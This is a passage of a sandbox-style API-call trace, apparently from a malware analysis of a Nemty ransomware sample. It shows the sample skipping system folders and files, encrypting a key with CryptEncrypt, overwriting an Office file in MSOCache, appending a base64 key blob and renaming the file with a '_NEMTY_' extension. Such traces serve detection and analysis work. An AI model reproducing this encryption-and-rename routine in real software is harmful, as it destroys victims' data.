(lpString1="PidGenX.dll", lpString2="..") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="...") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$RECYCLE.BIN") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="rsa") returned -1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="NTDETECT.COM") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntldr") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSDOS.SYS") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="IO.SYS") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0049.894] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="AUTOEXEC.BAT") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="desktop.ini") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CONFIG.SYS") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RECYCLER") returned -1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="BOOTSECT.BAK") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="programdata") returned -1 [0049.895] lstrcmpiW (lpString1="PidGenX.dll", lpString2="appdata") returned 1 [0049.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0049.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.895] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="...") returned 1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$RECYCLE.BIN") returned 1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="rsa") returned -1 [0049.895] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="NTDETECT.COM") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntldr") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSDOS.SYS") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="IO.SYS") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="AUTOEXEC.BAT") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="desktop.ini") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CONFIG.SYS") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RECYCLER") returned -1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="BOOTSECT.BAK") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="programdata") returned -1 [0049.896] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="appdata") returned 1 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0049.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ece0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0049.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0049.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942f8 [0049.897] Sleep (dwMilliseconds=0x5) [0049.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd16d98d0, dwHighDateTime=0x1d561e7)) [0049.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd16d98d0, dwHighDateTime=0x1d561e7)) [0049.903] GetLastError () returned 0x0 [0049.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.903] GetLastError () returned 0x0 [0049.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.903] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.903] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="jnD7SlDs/azDmn2yEcNJFXoQfxC5MNcn2rFIQxKb2b73651xQHXpT1CeZb7hswZK\r\nW7TIKFIkhakMunoDm1rVPb346aMITbcrM7SdLruzHkkxQ38FDnZu7+J6WXTEUH1X\r\nrCKmQadiOjvzvSrwt+5NcZYJfpENaQnUlqyiug+k19phDeH5O5+xLZ50m4BZ0X9r\r\n4RCc9WV7CtqoL0bV0wylLeBDwXWd0pe8yKx8K+SDLqk3t8b9MrcRsE3dZ158gdy9\r\nVjeEcCdjpEpV+b5jFJgObo7qhPYEnShkUlX0V2EfmGP7kbuF8ggKBFj3p09sFAyg\r\nb3EpuXlyXNlkUjx5HON+Ig==\r\n", pcchString=0x653ef9c) returned 1 [0049.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.905] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=715834) returned 1 [0049.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.905] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.905] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.915] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.915] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.915] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=715834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaec3a [0049.915] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.917] CloseHandle (hObject=0x3c8) returned 1 [0049.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0049.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0049.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0049.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.925] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms._nemty_kgobjgd_")) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f8 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.925] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".") returned 1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="..") returned 1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="...") returned 1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="windows") returned -1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="$RECYCLE.BIN") returned 1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="rsa") returned -1 [0049.925] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="NTDETECT.COM") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="ntldr") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="MSDOS.SYS") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="IO.SYS") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="boot.ini") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="boot.ini") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="ntuser.dat") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="desktop.ini") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="CONFIG.SYS") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="RECYCLER") returned -1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="BOOTSECT.BAK") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="bootmgr") returned 1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="programdata") returned -1 [0049.926] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="appdata") returned 1 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.msi", lpUsedDefaultChar=0x0) returned 13 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.msi", lpUsedDefaultChar=0x0) returned 13 [0049.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.msi", lpUsedDefaultChar=0x0) returned 13 [0049.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjProrWW.msi", lpUsedDefaultChar=0x0) returned 13 [0049.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.926] Sleep (dwMilliseconds=0x5) [0049.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1725b90, dwHighDateTime=0x1d561e7)) [0049.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1725b90, 